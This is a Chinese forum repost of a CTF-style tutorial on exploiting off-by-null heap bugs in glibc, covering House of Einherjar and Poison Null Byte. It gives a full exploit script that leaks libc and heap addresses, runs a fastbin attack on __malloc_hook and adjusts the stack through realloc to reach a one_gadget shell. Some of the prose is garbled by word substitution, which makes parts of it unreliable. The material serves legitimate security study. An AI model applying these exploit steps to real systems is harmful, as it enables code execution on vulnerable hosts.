12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 201|回复: 0

从零开始的Linux堆利用(十一)——Off By NULL

[复制链接]
发表于 2022-1-28 21:46:24 | 显示全部楼层 |阅读模式
Off-By-Null

Off By Null和Off By One差别在于只能溢出一个Null Byte而不是一个可控的字符
相比之下难度更大一些,这一节主要是两个利用Off by Null漏洞的方法

  • House of Einherjar思路是清除一个申请了的chunk的prev_inuse位,之后在free的时候触发consolidate使得前一个chunk存在两个指针;
  • Google Posion Null Byte则是针对free掉了的chunk,通过修改free chunk的大小,使被溢出的chunk被再次申请时错误更新prev_inuse位,终极free后一个chunk时触发consolidate。
House of Einherjar

可以malloc三次smallbin,溢出一个Null byte
构造一个chunk_B大小0x100,清掉prev_inuse位,伪造一个prev_size到user的位置
user内里把fd、bk都设置成本身绕过safe unlink检查
username = p64(0) + p64(0x91) + p64(elf.sym.user) + p64(elf.sym.user)chunk_A = malloc(0x88)chunk_B = malloc(0xf8)edit(chunk_A, p64(0)*16+p64(heap-elf.sym.user+0x90))# consolidatefree(chunk_B)如许在free的时候提示了一个错误 corrupted size vs. prev_size

这部分比较的具体内容是这里
chunksize(P)!=prev_size(next_chunk(P))也就是在user处伪造的chunk size 0x91和
从0x91这个chunk找到下一个chunk,看这个chunk的prev_inuse字段
发现这两个值不相等
一个简朴的绕过方法就是将伪造的这个值设置为8,如许通过prev_size(next_chunk(P))找到的也是这个8本身,就发现两者相等

固然这个值不是一个有效的chunk size,但是可以如许绕过
接下来free B时发生consolidate,直接从Top chunk归并到user这里

由于top chunk都到这里了,接下来直接申请一个新的chunk就可以修改下面的target了
Posion Null Byte

前面的思路是消除一个已经申请了的chunk的prev_inuse
然后利用consolidate得到一个dup的指针
而Off By Null还有一种针对已经free掉的chunk的利用方法,最初是2014年时glibc中被爆出一个堆上的off by null漏洞,google project zero的一个人利用这个漏洞获取到了代码执行的权限,后续又在实际的程序上举行了利用(pkexec)

  • pkexec利用
  • CVE-2014-5119
  • Glibc上的利用
这里有三个链接可以参考一下;
原理

举例阐明的话,首先申请三个chunk

头尾不重要,中间的chunk假设大小是0x210,将其free掉之后可以得到图中左边的状态
这时利用Null Byte的溢出修改这个chunk的大小为0x200,但是chunk_C处的prev_size是没有变化的
接下来申请两次0x100,这里会触发之前介绍过的remaindering,分割成了两个0x100的chunk

但是由于chunk_B的大小被溢出改成了0x200,chunk_C的prev_inuse并没有被设置为1
而是更新到了B2和C之间的0x10字节上
这时执行free(chunk_C),由于C的prev_inuse是0,并且prev_size是0x210
会直接将C和B1、B2归并(consolidate)全部free掉
这时再次申请的内容就会与chunk_B1、chunk_B2发生重叠

如许就可以得到一个overlap的指针,而有了overlap的指针就可以进一步实施unsortedbin attack、fastbin attack等等
实践


这个文件的保护机制全部都是打开的状态
堆菜单的功能有malloc、edit、free和read
但是这个程序没有泄漏出堆所在和libc的所在
栈上生存着一个变量m_array,用于存储堆申请chunk的相关信息
每一项有两个8字节构成,user_data是申请空间的所在,request_size是申请的大小

漏洞在于edit函数中

这里在执行时首先直接读取申请大小的内容到user_data处
tmp = read(0, m_array[na].user_data, m_array[na].request_size)read的返回效果为乐成写入的字节
m_array[na].user_data[tmp]=0之后如许一个操纵在写入的内容后面又加入一个0
这一个字节也就是溢出的一个Null字节
按照上面介绍的原理直接写一下exploit
chunk_A = malloc(0x88)chunk_B = malloc(0x208)chunk_C = malloc(0x88)chunk_D = malloc(0x88)free(chunk_B)edit(chunk_A,"a"*0x88)chunk_B1 = malloc(0xf8)chunk_B2 = malloc(0xf8)free(chunk_C)但是如许运行会看到一个熟悉的错误

unlink时出现错误,原因就是chunk_B在safe unlink时bk->fd==p && fd->bk==p这个条件不满足
在以往的程序中要绕过也很容易,只必要将chunk_B1的fd、bk都设置为自身,就可以通过这个判定;
但是如许的前提是程序存在一个堆的所在泄漏
这里可以利用的方法是将B1释放,让它真的是一个unsortedbin,如许就可以通过unlink的条件

overlap的chunk还有B2,也可以用于进一步的攻击
chunk_A = malloc(0x88)chunk_B = malloc(0x208)chunk_C = malloc(0x88)chunk_D = malloc(0x88)free(chunk_B)edit(chunk_A,"a"*0x88)chunk_B1 = malloc(0xf8)chunk_B2 = malloc(0xf8)free(chunk_B1)free(chunk_C)执行exploit可以看到触发了consolidate,chunk_B和C归并后放到了unsortedbin中

其中绿色是chunk_B1,蓝色是chunk_B2,赤色是chunk_C
目前chunk_B2的指针还是可用的,接下来先利用unsortedbin leak得到libc的所在和堆所在
libc的所在可以通过再次申请B1,触发remaindering之后填在B2的fd和bk处
而堆所在的话,则可以通过释放chunk_A,将chunk_A也加入到unsortedbin中
如许更新fd、bk时会在B2的fd写入main_arena中的所在,bk写入chunk_A的所在;

就可以一次读获取到两个leak
chunk_B1 = malloc(0xf8)free(chunk_A)data = read(chunk_B2,16)libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)heap = u64(data[8:])有了libc的所在,最后利用fastbin attack修改malloc_hook就可以拿到shell了
chunk_A = malloc(0x88)fast = malloc(0x68)free(fast)edit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))fast = malloc(0x68)target = malloc(0x68)edit(target, b'a'*0x13+p64(libc.address+one_gadget))首先把chunk_A申请回来
然后申请一个大小为0x68的chunk,这个chunk和B_2是同一个指针
将其free掉加入到fastbin中
执行fastbin attack将malloc_hook修改为one_gadget
但是执行之后会发现libc的几个one_gadget都没办法执行
在这里下一个断点调试一下b *__malloc_hook

三个one_gadget必要满足的条件依次为:

  • rax==NULL
  • [rsp+0x30]==NULL
  • [rsp+0x50]==NULL
而运行到这里时,栈的情况为

这两个条件都不满足,同时rax的值也不是0
但是可以留意到0x50的位置固然不是0,但是0x58的位置是0
如果能够想办法让这个0在0x50处就好了。
这里涉及到一种调解栈的方法,利用realloc_hook调解栈
realloc_hook就在malloc_hook的前面,因此利用fastbin attack也是可以覆盖这个位置的
realloc函数开始位置首先有一系列push,之后执行realloc_hook

将malloc_hook填为realloc的所在加一个偏移(如许减少push的数量达到调解栈的目标)
将realloc_hook填为目标的one_gadget
如许触发时首先执行malloc_hook即realloc加偏移,之后执行realloc_hook即one_gadget
那么首先我们修改一下exploit的最后一行
edit(target, b'a'*0xb+p64(libc.address+one_gadget)+p64(libc.sym.realloc+2))要使0x58的0到0x50处,只必要少push一个值即可
所以在malloc_hook处填写为realloc+2的所在

再运行一下可以看到这里0x50就已经是0了,满足了one_gadget的条件
最后的exploit
chunk_A = malloc(0x88)chunk_B = malloc(0x208)chunk_C = malloc(0x88)chunk_D = malloc(0x88)free(chunk_B)edit(chunk_A,"a"*0x88)# 溢出一个Null Bytechunk_B1 = malloc(0xf8)# renmainderingchunk_B2 = malloc(0xf8)free(chunk_B1)# 将B1加入到unsortedbin,从而绕过safe unlinkfree(chunk_C)# 触发consolidate,B、C的空间都加入到unsortedbinchunk_B1 = malloc(0xf8)free(chunk_A)# 将B2的fd、bk变成libc的泄漏所在和堆的泄漏所在data = read(chunk_B2,16)libc.address = libc.sym.__malloc_hook - (u64(data[:8])-0x68)heap = u64(data[8:])# 计算得到堆所在和libc所在chunk_A = malloc(0x88)# 申请回来chunk_Afast = malloc(0x68)free(fast)# 将B2的位置释放为fastbinedit(chunk_B2, p64(libc.sym.__malloc_hook - 0x23))# 利用fastbin attack得到malloc_hook写能力fast = malloc(0x68)target = malloc(0x68)one_gadget = 0xd6fb1edit(target, b'a'*0xb + p64(libc.address+one_gadget) + p64(libc.sym.realloc+2))# 利用realloc调解栈不过除了如许调解one_gadget的做法,还可以结合fastbin attack和unsortedbin attack,转而修改free_hook而不是malloc_hook
具体可以看这里
如许就可以直接free掉一个/bin/sh字符串获得权限了
off-by-null.zip
13.11 KB, 下载次数: 7, 下载积分: 吾爱币 -1 CB


来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-5-5 23:44 , Processed in 0.109375 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表